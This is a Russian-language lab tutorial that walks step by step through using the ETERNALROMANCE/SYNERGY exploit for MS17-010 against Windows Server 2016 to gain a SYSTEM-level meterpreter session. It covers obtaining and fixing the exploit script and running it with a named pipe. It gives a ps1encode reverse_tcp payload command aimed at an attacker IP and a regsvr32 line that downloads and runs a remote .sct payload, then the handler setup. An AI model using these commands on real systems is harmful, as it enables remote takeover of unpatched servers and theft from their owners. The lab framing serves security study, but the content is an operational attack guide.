09.10.2017

Как при помощи эксплоита ETERNALROMANCE/SYNERGY получить METERPRETER-сессию

image

В этой статье будут даны пошаговые рекомендации для того, чтобы эксплоит работал корректно, а также разъяснения относительно модификации с целью получения meterpreter-сессии на целевой машине.

Автор: Sheila A. Berta (@UnaPibaGeek)

Введение

Когда компания Microsoft выпустила патчи для уязвимости MS17-010, было сообщено, что проблема касается платформ, начиная от Windows 7 (если быть совсем точным, то и Windows Vista тоже) и заканчивая Windows Server 2016. Хотя эксплоиты под кодовым названием "ETERNALS", опубликованные группой TheShadowBrokers, которые пригодны для эксплуатации в Windows Server 2012 и более современных системах, - очень нестабильны и в 99% случаев вызывают BSOD на машине жертвы.

С целью понимания и улучшения эксплоитов от NSA, опубликованные работы были проанализированы многими специалистами по безопасности. Как итог, некоторое время назад появилась более стабильная версия (разработанная исследователем Sleepya) эксплоита ETERNALROMANCE/SYNERGY с улучшенным методом эксплуатации и направленным на системы под управлением Windows Server 2012 и 2016. Однако для того чтобы использовать этот эксплоит необходимо разобраться в механизме работы этого скрипта и модифицировать некоторые вещи для получения желаемого результата.

В этой статье будут даны пошаговые рекомендации для того, чтобы эксплоит работал корректно, а также разъяснения относительно модификации с целью получения meterpreter-сессии на целевой машине.

Как обычно, вся информация приводится в ознакомительных целях.

Настройка лабораторной среды

Для настройки лабораторной среды нужно сконфигурировать следующие системы:

Целевая система - Windows Server 2016

Эта машина с установленной 64-битной операционной системой Windows Server 2016 будет использоваться в качестве целевой.

Рисунок 1: Конфигурация целевой машины

После установки операционной системы дополнительные настройки не требуются. Достаточно знать IP-адрес и убедиться в том, что машина включена на момент атаки.

Система злоумышленника - GNU/Linux

Возможно использование любой другой операционной системы, которая поддерживает работу следующих инструментов:

  • Python v2.7 - https://www.python.org/download/releases/2.7/
  • Ps1Encode - https://github.com/CroweCybersecurity/ps1encode
  • Metasploit Framework - https://github.com/rapid7/metasploit-framework

В итоге у нас есть две настроенные машины, используемые в лабораторной среде:

  • Windows Server 2016 x64 – IP-адрес: 10.0.2.13 - Целевая система.
  • GNU/Linux Debian x64 – IP-адрес: 10.0.2.6 - Система злоумышленника.

Получение эксплоита

Эксплоит можно скачать по следующей ссылке:

https://www.exploit-db.com/exploits/42315/.

Поскольку скрипт написан на Python, сохраняем файл с расширением .py на машине злоумышленника. Во время запуска возникает следующая ошибка:


Рисунок 2: Ошибка, возникающая при запуске эксплоита

Решение проблем с зависимостями

В третьей строке эксплоита импортируется модуль "mysmb", которого нет в Python. Установить этот модуль, разработанный Sleepya, можно установить при помощи утилиты pip, либо скачать по следующей ссылке: https://github.com/worawit/MS17-010/blob/master/mysmb.py.

Файл модуля с именем "mysmb.py" помещаем в папку со скриптом. Для того чтобы эксплоит смог импортировать код модуля, необходимо создать файл с именем «__INIT__.py» с перечнем нужных модулей.

Теперь скрипт сможет найти нужный модуль и не будет выдавать ошибок:


Рисунок 3: Добавление файла __INIT__.py и запуск эксплоита

Проверка работоспособности эксплоита

Возможна проверка работоспособности эксплоита без каких-либо модификаций. Если мы запустим скрипт как есть по завершению работы в корневой директории диска C:\ на целевой машине будет создан файл с именем "pwned.txt".
Несмотря на то, что в простейшем случае никакие изменения не требуются, конкретно в вашей ситуации может потребоваться модификация некоторых параметров.

Аутентификация

Уязвимость, используемая в эксплоите ETERNALROMANCE/SYNERGY, требует аутентификации. Эксплуатацию можно осуществить через гостевую учетную запись. Если гостевой аккаунт отключен, нам нужно получить имя пользователя и пароль любой другой учетной записи, которая используется на целевой машине. Важно отметить, что уровень привилегий не имеет значения. Даже если учетная запись с гостевыми правами, после атаки привилегии будут повышены до системного уровня.

Информация об учетной записи задается в файле exploit.py в строках 26-27:


Рисунок 4: Информация об имени пользователя и пароле, используемых для аутентификации во время атаки

Параметры

Для корректной работы эксплоита необходимо настроить два параметра: IP-адрес целевой машины и имя канала (pipe name). Протокол SMB поддерживает три типа общих ресурсов:

  • File: файловые (или дисковые) общие ресурсы, представляющие собой дерево директорий с файлами.
  • Print: доступ к ресурсам принтера на сервере.
  • Pipe: коммуникация между процессами, использующими модель FIFO, при помощи именованных каналов, которые активны до тех пор, пока система работает, даже если процесс уже не активен.

В отличие от ETERNALBLUE эксплоиты ETERNALROMANCE и ETERNALSYNERGY используют именованные каналы, и, соответственно, нужно выбрать тип канала, который необходим во время атаки.

Лично я пользуюсь «spoolss». Альтернативный вариант: «browser». Кроме того, можно воспользоваться сканером auxiliary/scanner/smb/pipe_auditor в metasploit для поиска доступных каналов на целевой машине.

Запуск без шелл-кода

Теперь запускаем эксплоит при помощи следующей команды:

python exploit.py <target_ip> spoolss

Рисунок 5: Запуск эксплоита

Как было сказано ранее, если эксплуатация завершилась успешно, в корневой директории диска «C:\» появится новый файл «pwned.txt».


Рисунок 6: После успешной эксплуатации на целевой машине появился файл pwned.txt

На данный момент мы уже сделали большой шаг, выполнив успешную эксплуатацию. Теперь нужно модифицировать эксплоит так, чтобы запустить шелл в meterpreter.

Создание шелл-кода

Существует множество способов запустить meterpreter-шелл или выполнить какие-либо другие действия вместо создания текстового файла.

Первый шаг – генерирование шелл-кода, который мы будем использовать в дальнейшем. Лично я очень люблю один метод, у которого масса преимуществ, когда речь заходит про обход различных защит.

Шелл-код будет помещен в файл .SCT, который эксплоит будет загружать и запускать на целевой машине, в результате чего мы получим долгожданную meterpreter-сессию.

Создание файла .SCT при помощи утилиты PS1ENCODE

Ps1encode позволяет сгенерировать и закодировать полезные нагрузки для metasploit в различных форматах на базе PowerShell.

Эту утилиту можно загрузить на github: https://github.com/CroweCybersecurity/ps1encode.

Для генерирования нужной полезной нагрузки нам необходимо запустить Ps1encode со следующими параметрами:

ruby ps1encode.rb --PAYLOAD windows/meterpreter/reverse_tcp --LHOST=<ATTACKER_IP> --LPORT=4444 -t sct

Сгенерированный файл .SCT должен храниться на веб-сервере на машине злоумышленника или в любом другом месте, к которому можно получить доступ из целевой системы. Поэтому при запуске предыдущей команды задается вопрос о том, какой будет полный URL, где мы будем хранить файл .sct. Если будет использоваться машина злоумышленника, нужно ввести следующий URL: http://<ATTACKER_IP>.


Рисунок 7: Создание полезной нагрузки index.sct

Помещение шелл-кода в место, доступное из целевой системы

На предыдущем шаге мы создали файл index.sct в папке утилиты Ps1Encode. Чтобы этот файл был доступен для загрузки эксплоитом на целевой машине мы должны поместить полезную нагрузку в папку веб-сервера и назначить нужные права.


Рисунок 8: Копирование полезной нагрузки на веб-сервер и назначение прав

После выполнения команд, показанных на рисунке выше, у нас появляется шелл-код, готовый к употреблению.

Изменение эксплоита

Если мы откроем скрипт в текстовом редакторе и перейдем к строке 463 (и ниже), то увидим следующий код:


Рисунок 9: Участок кода эксплоита

На рисунке выше показаны функции, используемые для создания файла «pwned.txt» на целевой машине. Более интересной для нас является закомментированная строка с функцией service_exec().

Функция service_exec() в качестве примера выполняет команду «copy» для создания копии файла «pwned.txt». Эта строка кода не будет выполняться до тех пор, пока вначале стоит символ «#». Если убрать этот символ и запустить эксплоит повторно, мы увидим, что в корне диска «C:\» появилось два файла: pwned.txt и pwned_exec.txt.

Вместо команды copy можно поставить любую другую, которая нам необходима.

Запуск шелл-кода

Теперь мы знаем, в каком месте нужно модифицировать эксплоит для выполнения команды загрузки и запуска шелла в meterpreter:

regsvr32 /s /n /u /i:http://<attacker_webserver_ip>/shellcode.sct scrobj.dll
Эксплоит будет выглядеть так:

Рисунок 10: Модифицированная версия эксплоита

Получение Meterpreter-сессии

В самом конце, перед запуском эксплоита, мы должны настроить модуль exploit/multi/handler для получения meterpreter-сессии.


Рисунок 11: Настройка модуля exploit/multi/handler

Далее запускаем модифицированную версию эксплоита:


Рисунок 12: Запуск измененного эксплоита

Через несколько секунд мы получим meterpreter-сессию на целевой машине с системными привилегиями.


Рисунок 13: Получение meterpreter-сессии

Благодарности:

Worawit Wang (@sleepya_).
Claudio Caracciolo (@holesec).
Mateo Martinez (@MateoMartinezOK).
Luciano Martins (@clucianomartins).
Arturo Busleiman (@buanzo).
Ezequiel Sallis (@simubucks).
Cristian Borghello (@crisborghe / @seguinfo).
Sol O. (@0zz4n5).
@DragonJar || @ekoparty || “Las Pibas de Infosec”.

comments powered by Disqus